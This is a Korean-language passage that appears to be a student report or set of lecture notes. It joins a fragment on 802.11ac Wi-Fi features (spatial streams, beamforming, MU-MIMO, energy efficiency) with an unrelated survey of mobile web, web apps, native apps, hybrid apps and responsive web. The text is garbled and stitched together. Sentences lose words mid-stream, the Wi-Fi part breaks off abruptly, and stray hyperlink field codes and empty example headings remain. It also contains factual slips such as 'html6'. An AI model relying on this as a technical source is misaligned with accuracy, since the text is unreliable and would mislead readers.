대역에서 802.11a와 802.11n을 사용하는 기존 네트워크와 공존하기 위한 메커니즘을 설계하는 것이다. 이러한 메커니즘의 예로는 CCA(Clear Channel Assessment), 채널 접근 공정성, 스캐닝, 채널 선택 메커니즘이 있다. 또한 공존성 메커니즘은 서로 다른 채널 대역폭(20/40/80MHz, 최대 160MHz)의 802.11ac가 상호 운용성을 갖도록 보장하기 위해 규정되었다.5) 다중 공간 스트림 802.11ac는 공간 스트림을 최대 8개까지 지원한다. 반면에 802.11n은 4개를 지원한다. 802.11n과 마찬가지로 동일 주파수에서 멀티플 스트림 데이터의 공간 다중화 과정에서 채널 용량을 효과적으로 증가하기 위해 독립적인 공간 경로에 의해 제공되는 추가 자유도를 활용한다. 스트림이 채널을 통과하는 동안 혼합되고 수신기에서 그러한 혼합 스트림을 분리하고 디코딩한다. 이러한 기술 복잡성에도 불구하고 802.11n 기기 제조업체들은 여러 안테나 사이의 독립 경로를 사용하는 것이 매우 효과적임을 터득했고, 지금은 이 지식을 802.11ac 기기 제조에 효과적으로 적용할 수 있다. 최초의 802.11ac 실리콘은 멀티플 공간 스트림을 사용할 것으로 보인다.6) 빔포밍 및 다중 사용자 MIMO802.11n 규격에서는 WiFi 기기 제조업체들이 송신 빔포밍, 즉 RF 에너지를 주어진 한 방향으로 집중시켜 개별 스테이션에 대한 전송력을 향상시키는 기능을 사용하는 방법을 터득했다. 802.11ac는 이러한 지식을 바탕으로 이루어지며 싱글(802.11n에서는 멀티플) 사운딩과 피드백 포맷과 같은 개선책을 사용한다. 802 통신할 수 있도록 해주는 새로운 메커니즘을 고안했다. 예를 들어 안테나가 8개인 AP가 물리적으로 분리된 두 스테이션에 대해 한 번에 4x4 MIMO를 사용할 수 있다. 반대로 오늘날 MIMO 기기는 각 개별 터미널에 연결된 여러 안테나에 대해 점대점 액세스만 고려한다. 따라서 AP에서 여러 클라이언트를 위해 시간 다중화를 해야 한다. 이러한 발전된 메커니즘을 MU-MIMO(Multi-User MIMO)라고 부르며, 최신 802.11 규격의 효율(스펙트럼의 메가헤르츠당 전송되는 메가비트 수, Mbps/MHz)을 높이기 위해 802.11ac TG에서 진행 중인 가장 흥미로운 개선책 중 하나다. 유사성을 사용하기 위해서 MU-MIMO에서는 기본적으로 이더넷 스위칭을 사용한다. 즉, 오늘날 일반적인 유선 이더넷 네트워크가 작동하는 것과 유사한 방법으로 AP가 스테이션 전용 대역폭의 “전환된” WiFi를 제공할 수 있도록 송신 빔포밍 기술을 확장한다. MU-MIMO에서 보장하는 장점이 많고 매력적이지만, 이 기술을 올바로 사용하기 위해서는 칩셋 설계자와 제조업체가 조건이 맞을 시 여러 클라이언트에게 전송하는 기회를 활용할 수 있도록 정밀한 큐잉 시스템과 클라이언트의 공간 인식력을 개발해야 한다. 다시 말해서 시스템 용량이 증가하는 한편 신호 처리가 훨씬 더 비싸고 복잡성이 높아진다. 이러한 이유로 MU-MIMO(하나의 송신 기기, 여러 개의 수신 기기)는 802.11ac 초안 규격에서 옵션 모드로만 포함되었다.7) 에너지 효율802.11 규격의 에너지 효율(마이크로줄당 비트)은 첫 번째 기술 수정안이 승인된 이래로 계속 높아지고 있다. 특히 802.11ac는 그림 3에 나타난 것처럼 기존 802.11n에 비해 에너지 효율을 두 배 향상시킨다고 장담한다. 이러한 향상은 다른 모든 파라미터(RF 주파수, 파워, 대역폭)를 일정하게 유지한 채로 데이터 전송률을 높이기 위해 각 수정안에서 도입된 여러 가지 개선책의 효과다. 동향이 거의 알려지지 않았지만, 에너지 효율 증가AT 6
모바일 웹특징 Hyperlink "http://terms.naver.com/entry.nhn?docId=856224&ref=y" 이동 단말기(ex:스마트폰,태블릿피씨 등)에서 일반 웹에 접속할 수 있는 Hyperlink "http://terms.naver.com/entry.nhn?docId=848922&ref=y" 브라우징 기술이다. Hyperlink "http://terms.naver.com/entry.nhn?docId=829627&ref=y" 이동 통신, Hyperlink "http://terms.naver.com/entry.nhn?docId=860759&ref=y" 텔레마틱스, Hyperlink "http://terms.naver.com/entry.nhn?docId=865006&ref=y" 홈 네트워크 등에 사용되는 각종 단말기에서 유선 웹 Hyperlink "http://terms.naver.com/entry.nhn?docId=850799&ref=y" 사이트에 접속할 수 있는 기술로 Hyperlink "http://terms.naver.com/entry.nhn?docId=841275&ref=y" 월드 와이드 웹 컨소시엄(W3C)에서 표준화를 진행 중이다.스마트폰의 등장과 함께 웹 개발 환경이 변하고 있는데 기존의 PC가 아닌, 스마트폰에 최적화된 웹 페이지를 만들어야 할 필요성이 생겼기 때문이다. 이렇게 모바일 환경에 최적화된 웹을 모바일 웹이라고 부른다. 이러한 모바일 웹을 만들기 위해서는 스마트폰과 통신 환경의 이해, 모바일 환경에 맞는 기획과 디자인, 그리고 새롭게 등장한 HTML5와 CSS3를 이해하는 것이 필요하다.장점스크랩이 용이하다. 모바일 웹에서 보유하고 있는 메모앱을 이용해 스크랩을 할 수 있다. 마음에 드는 페이지가 있다면 POKET이란 앱을 통해 그 페이지를 완전 스크랩하고 두고두고 볼 수 있다. 또 전체 페이지에서 일부의 글귀만 저장하고 싶을 경우엔 다양한 플랫폼을 지원하는 Evernote란 앱을 통해 저장해두면 해당 내용을 확인하고 관리 할 수 있으며 태그 뿐 아니라 노트북, 노트로 세분화해 자료를 보관할 수 있다.단점풀 브라우징 방식으로 페이지를 이동해 앱에 비하면 접속속도가 느린편이다. 또 모바일 기기의 특성상 이동 중에 서버 정속 장애가 발생할 수 있기 때문에 불안정하다. 또 지금까지 모바일 웹 페이지 작업 시 고려하는 가장 작은 스마트폰 화면 크기 320px를 기준으로 마크업 한 후 모바일 웹에서 사용하는 이미지 파일 등은 640px로 만드는 것이 일반적인 모바일 웹에 대응하는 마크업 방법이었다. 하지만 위 방법은 다양한 기기의 화면 크기에 맞춰 모바일 웹 페이지를 구현하기 힘들다. 기본 화면 크기를 지정한 후 다양한 화면 크기 비율에 맞춰 자동으로 모바일 웹 해상도를 조정하게 만들기 위한 번거로움이 있다.사례실제로 정부기관이나 포털 등에서 접하는 모바일 웹 페이지에서 사용하고 있다. 아래는 광고 사이트의 한 예시이다.웹 앱특징모바일 브라우저에서 실행되며, 모바일 웹과 네이티브 앱을 결합한 것으로 일종의 ‘웹+앱’ 개념이다. 그러므로 모바일 웹의 특징을 가지면서 네이티브앱의 장점도 갖는다. 모바일 웹처럼 HTML, CSS, JAVASCRIPT, JSP, PHP, ASP, ASP NET 등 일반적인 웹 기술로 개발한다. 웹 개발 기술을 사용하되 모든 UI와 UX를 앱과 유사하게 제작한다. 네이티브 앱처럼 설치형이 아니기 때문에 웹 앱을 실행하기 위해서는 사용자가 직접 브라우저를 열고 URL로 접근해야 한다. 첫 페이지는 웹으로부터 풀 브라우징으로 받고, 그 이후부터는 AJAX통신으로 모든 것을 처리한다. 화면 전환 시에는 애니매이션 효과가 있고 사용자 터치 이벤트 처리를 하며 AJAX통신 HTML5로컬 저장소를 이용하여 네이티브 앱과 유사한 실행 환경을 제공한다.장점모바일 웹보다는 조금 더 모바일에 최적화된 앱이다. 풀 브라우징 방식이 아닌 단일페이지 형식으로 화면을 전환해 모바일 웹보다 실행 속도가 빠르다. 웹 애플리케이션은 클라이언트로서 웹 브라우저를 사용하는 사람이 많기 때문에 인기를 누리고 있다. 수천만 대의 Hyperlink "http://ko.wikipedia.org/wiki/%EA%B0%9C%EC%9D%B8%EC%9A%A9_%EC%BB%B4%ED%93%A8%ED%84%B0" o "개인용 컴퓨터" PC에 굳이 소프트웨어를 배포해서 설치하지 않아도 웹 애플리케이션을 유지 관리할 수 있다는 점이 장점 중의 하나이다. 웹 애플리케이션은 웹 메일, 온라인 전자상거래 및 경매, 위키, 인터넷 게시판, 블로그 및 MMORPG 게임 등 다양한 기능을 구현할 수 있다.단점애플 앱스토어, 안드로이드 마켓에서 등록하거나 판매 할 수가 없다. 또 웹 애플리케이션을 만들 때 중요한 점은 클라이언트의 운영 체제의 종류나 버전에 상관 없이 작동되도록 표준 브라우저 기능을 사용해야 한다는 것이다. 이는 마이크로소프트 윈도, 맥 오에스 텐, 리눅스 등의 운영 체제에 각각의 클라이언트를 만드는 것보다 한 번 만들어서 거의 모든 곳에 쓰일 수 있도록 해야 한다는 것이다. 하지만 HTML, CSS, DOM 등과 같은 다양한 기술들의 불완전한 구현은 웹 애플리케이션의 개발에 많은 문제를 야기할 수 있다.사례네이티브 앱특징흔히 말하는 어플리케이션으로 현재 사용자들이 말하는 앱은 대게 네이티브 앱이다. 모바일 기기에 최적화된 언어로 개발되었으며 안드로이드 SDK를 이용해 JAVA언어로 만드는 안드로이드 앱과 IOS SDK를 이용해 오브젝티브-씨언어로 개발된 아이폰 앱들이 여기에 속한다.장점간단하게 앱스토어나 마켓에서 판매한다. 사용자는 앱을 다운받아 모바일에 설치해 실행 할 수 있다. 모바일에 저장된 주소록, 파일 등 고유정보를 변경 가능하며 카메라나 후레시 등의 각종 센서를 제어할 수 있는 기능이 있다. 또 고성능의 그래픽 처리가 가능하기 때문에 2D,3D 게임이나 증강현실과 같은 앱을 개발 할 수 있다. 또바일 운영체제(IOS, 안드로이드 등)에 있는 커널과 UI 프레임 워크가 제공하는 서비스 직접 호출하여 실행한다. 그래서 실행속도가 매우 빠르고 안정적이다.단점휴대폰을 제어할 수 있는 센서와 모바일에 내장된 정보를 변경할 수 있기 때문에 보안상의 취약점이 발생 할 수있다. 또 특정 플랫폼에서만 동작하여 앱스토어를 통해 업데이트가 가능하기 때문에 업데이트가 느린 단점이 있다. 해당 OS나 플랫폼이 다르면 많은 시간과 비용을 감수하여 새롭게 개발하여야 하는 단점 역시 존재 한다.사례하이브리드 앱특징웹 앱의 단점을 보안한 것으로 웹 앱을 네이티브 앱으로 포장한 것이다. 웹 기술로 개발되었지만 모바일에 최적화된 언어로 만드는 네이티브 앱처럼 보이게 하는 것이다. 앱의 기반이 되는 곤텐츠 영역은 HTML기반의 웹 앱으로 제작하고 최종 앱 배포나 필요한 패키징 처리만 아이폰이나 안드로이드 플랫폼 안에서 처리한다. 또 최근 스마트 뱅킹 앱과 같은 업무용 앱은 하이브리드앱 방식으로 개발되고 있다.장점네이티브 앱의 형태를 띄고 있어 앱스토어나 마켓에서 다운받아 모바일에 쉽게 설치 할 수 있다. 이로인한 마케팅효과를 통해 수익을 만들 수도 있다. 모바일의 데이터베이스를 활용한 개발이 가능하다. 게다가 빠른 반응 속도까지 지녔다. 또 웹브라우져만 있다면 운영체제와 상관없이 유지보수 가능하다. 업그레이드나 유지보수가 수월하기 때문에 개발비가 앱보다 상대적으로 저렴하다. Ui최적화에 대응이 쉽다.단점별도의 하이브리드 앱 프레임워크가 필요하다. 프레임워크에 매우 의존적인 형태이다. 일반적인 앱보다는 무겁기에 느린속도(로딩이나 페이지 전환)가 있고 사용자의 스마트 기기에 따라 영향을 받는 경우도 있다. 무엇보다 획일화된 디자인으로 사용자에게 지루함을 줄 수 있다.사례반응형 웹특징반응형 웹을 제작하기 위해서는 html6+css+java 그리고 미디어쿼리라는 프로그램을 이용한다. 이 기술로 인해 Fluid Grid가 적용된다. 가변성이 있는 그리드를 이용하여 해상도를 최적화시키는 법이다. 해상도의 가로 값을 픽셀이 아닌 퍼센트로 제작해서 가로의 크기에 따라 레이아웃의 비율이 수시로 변경되는 방법이다. 변경된 폭에 따라 내용도 함께 움직인다. 또 미디어쿼리는 웹페이지를 각 상황에 맞게 출력할 때 사용한다. 어떻게 출력이 되는지에 따라 css처리를 다르게 해서 다양한 상황에 최적화 할 수 있는 똑똑한 기법이다. 해상도의 가로 값에 따라 변화를 감지하고, 그 변화에 따라 css를 설정할 수 있다는 점이 미디어 쿼리가 반응형 웹에 필요한 이유이다.장점스마트형 기기들로 접속하는 유저들이 늘어난 만큼 쉽고 효율적으로 홈페이지 유입을 늘릴 수 있는 장점이 있다. 또 반응형 웹 기간과 비용도 기존 홈페이지 제작 환경보다 최적화되어 쉽고 빠른 시일 이내로 제작이 가능한 편이다.단점가장 큰 단점은 미디어 쿼리를 지원하지 않는 브라우저가 국내에 많다. 인터넷 익스플로러 8이하 버전에서는 미디어 쿼리를 적용 할 수 없기에 국내 pc환경에서 사용하기에 어려움이 있다. 또 반응형 웹을 개발 할 때에는 각 해상도에 맞게 콘텐츠들의 모양이나 크기가 변환되는데 pc버전에서는 보여도 모바일 버전으로 가면 안보이게 하거나 Flexible images기법을 사용하기 때문에 필요보다 더 큰 이미지를 불러와 불필요한 데이터를 로드할 수도 있다. 이미지가 자동으로 리사이징 되다 보니 cpu의 사용량을 증가시켜 부담을 줄 수도 있는 것이다.사례